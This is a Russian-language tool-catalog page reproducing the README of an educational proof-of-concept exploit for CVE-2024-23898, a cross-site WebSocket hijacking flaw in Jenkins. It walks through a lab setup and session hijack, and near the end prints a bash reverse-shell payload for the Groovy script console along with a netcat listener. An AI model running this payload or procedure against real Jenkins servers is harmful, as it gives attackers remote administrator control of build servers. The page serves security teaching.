Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE2_Jenkins_RCE — Доказательство концепции эксплуатации уязвимости перехвата WebSocket-соединений между сайтами (cross-site WebSocket hijacking) для CVE-2024-23898 — уязвимости, затрагивающей Jenkins версий 2.217–2.441. Предназначен для использования в образовательных целях в рамках курса Hacking & Offensive Security в Университете Карнеги-Меллона. | Kitploit
Инструменты/GitHubGitHub/davidmgaviria/cve2_jenkins_rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubdavidmgaviria/cve2_jenkins_rce

CVE2_Jenkins_RCE

Репозиторий
221 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

Доказательство концепции эксплуатации уязвимости перехвата WebSocket-соединений между сайтами (cross-site WebSocket hijacking) для CVE-2024-23898 — уязвимости, затрагивающей Jenkins версий 2.217–2.441. Предназначен для использования в образовательных целях в рамках курса Hacking & Offensive Security в Университете Карнеги-Меллона.

Поделиться

Перехват Websocket в Jenkins CLI - PoC

PoC-эксплойт межсайтового перехвата WebSocket для CVE-2024-23898 — уязвимости, затрагивающей версии Jenkins 2.217-2.441.

Этот эксплойт нацелен на Jenkins CLI, позволяющий удалённо подключаться к серверу управления Jenkins и выполнять на нём команды. С помощью этого эксплойта удалённый злоумышленник может получить доступ к серверу управления Jenkins и установить постоянный бэкдор, если администратор, будучи авторизованным на целевом сервере управления Jenkins, перейдёт на вредоносный сайт.


ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Этот код предназначен исключительно для образовательных целей и только для использования в рамках курса Hacking & Offensive Security в Университете Карнеги-Меллона. Этот код не должен использоваться как оружие или применяться для создания вредоносного ПО. Авторы решительно осуждают любые подобные попытки.


Настройка Jenkins

  • Выполните "docker-compose build && docker-compose up -d"
  • Перейдите на http://localhost:8080, вам будет предложено ввести пароль администратора
  • Откройте оболочку в docker-контейнере jenkins (НЕ В POSTGRES-КОНТЕЙНЕРЕ)
    • "docker exec -it <container_id> bash"
    • перейдите в каталог, указанный на странице Jenkins, и получите пароль
  • Создайте базовую учётную запись администратора (запомните пароль) и установите плагины по умолчанию -Настройте анонимным пользователям базовые разрешения, перейдя в Manage Jenkins > Security
    • Установите тип авторизации "Matrix-based"
    • Разрешите анонимным пользователям читать "Overall" и "Job"

Выполнение перехвата Websocket

  • Откройте Firefox, перейдите в Settings > Security & Privacy
    • Установите Browser Privacy в положение custom, переключите Cookies в "off" (это заставит Firefox разрешить все файлы cookie)
  • Перейдите в Jenkins, войдите как администратор, обязательно нажав «Keep me signed in»
  • Запустите evilApp.py, открыв http://localhost:5000
    • Перейдите на вкладку Network и нажмите обновить (refresh)
    • Нажмите на пакет с файлом "ws" и перейдите в Response; вы должны увидеть сообщение "Authenticated as: admin"
      • Также вы можете проверить "Cookies", чтобы увидеть cookie запоминания (remember-me)

Запуск reverse shell

  • В терминале вашей машины запустите прослушиватель netcat с помощью nc -l <port_num> (замените <port_num> на любой неиспользуемый номер порта)
  • Вам нужно узнать IP-адрес вашего компьютера, каким его видит Docker. На Mac это можно сделать с помощью команды ipconfig getifaddr en0
  • Если ваш сервер Jenkins запущен, перейдите по адресу [http://localhost:8080/script](http://localhost:8080/script). Если вы ещё не вошли, выполните вход под учётной записью администратора.
  • Вставьте и выполните эту нагрузку (payload) в консоли скриптов Groovy: ['bash', '-c', 'bash -i >& /dev/tcp/<attacker_ip>/<port_num> 0>&1'].execute()
  • Вернитесь в терминал с прослушивателем netcat. Вы должны оказаться в файловой системе сервера Jenkins и иметь возможность делать всё, что может пользователь-администратор.
Скачать инструмент